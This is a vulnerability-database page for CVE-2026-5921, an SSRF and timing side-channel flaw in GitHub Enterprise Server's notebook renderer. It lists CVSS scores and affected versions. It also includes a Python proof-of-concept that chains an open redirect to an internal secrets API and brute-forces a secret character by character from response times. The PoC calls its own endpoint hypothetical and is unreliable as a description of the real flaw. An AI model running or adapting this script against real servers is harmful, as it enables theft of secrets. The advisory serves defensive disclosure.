Security Vulnerability Report
中文
CVE-2026-5921 CVSS 8.9 HIGH

CVE-2026-5921

Published: 2026-04-21 23:16:23
Last Modified: 2026-04-28 20:43:12

Description

A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance's open redirect endpoint through an external redirect to reach internal services. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1. This vulnerability was reported via the GitHub Bug Bounty program.

CVSS Details

CVSS Score
8.9
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
GitHub Enterprise Server < 3.14.26
GitHub Enterprise Server 3.15.x < 3.15.21
GitHub Enterprise Server 3.16.x < 3.16.17
GitHub Enterprise Server 3.17.x < 3.17.14
GitHub Enterprise Server 3.18.x < 3.18.8
GitHub Enterprise Server 3.19.x < 3.19.5
GitHub Enterprise Server 3.20.x < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Target configuration target_url = "https://github-enterprise.example.com" # Hypothetical vulnerable endpoint for notebook rendering render_endpoint = f"{target_url}/notebooks/render" # Internal API to leak data from internal_api = "http://127.0.0.1/internal/api/secrets" # Characters to guess charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" secret = "" print("Starting SSRF Timing Side-Channel Attack...") for pos in range(10): # Assume secret length 10 for demo found_char = False for char in charset: # Construct regex payload to check if secret starts with current guess + char # Example regex: ^current_guess.* regex_payload = f"^{secret}{char}.*" # Payload exploiting open redirect + SSRF # Assuming the notebook renders a redirect to the internal API payload = { "url": f"{target_url}/redirect?url={internal_api}?filter={regex_payload}" } try: start_time = time.time() # Send request to vulnerable endpoint # Note: In a real scenario, this might require specific headers or notebook format r = requests.post(render_endpoint, json=payload, timeout=10) end_time = time.time() response_time = end_time - start_time # Threshold based on observed behavior (e.g., regex match takes longer) if response_time > 0.5: secret += char print(f"Found char '{char}' at position {pos}. Current secret: {secret}") found_char = True break except Exception as e: print(f"Error: {e}") continue if not found_char: print("Could not find matching character.") break

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5921", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:22.667", "lastModified": "2026-04-28T20:43:12.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance's open redirect endpoint through an external redirect to reach internal services. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.14.26", "matchCriteriaId": "72A92258-9FCC-41E0-856B-3C2A495575A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15.0", "versionEndExcluding": "3.15.21", "matchCriteriaId": "3A14A459-881C-437A-88EC-D721E3005329"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.0", "versionEndExcluding": "3.16.17", "matchCriteriaId": "8B7DCD9A-2CF0-4D96-AA96-ACEC662A8E1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.14", "matchCriteriaId": "CEC2ADE6-3E31-4889-9A73-B6695FE0AB52"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.8", "matchCriteriaId": "9B15B12E-00A8-48E8-81DE-54506B94A2C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.0", "versionEndExcluding": "3.19.5", "matchCriteriaId": "56903EAF-4579-4263-AB0F-863323E7C81A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:3.20.0:*:*:*:*:*:*:*", "matchCriteriaId": "DCA4F97D-688E-45D2-90C0-8A11E9B531AA"}]}]}], "references": [{"url": "https://docs.github.com/en/enterprise-s ... (truncated)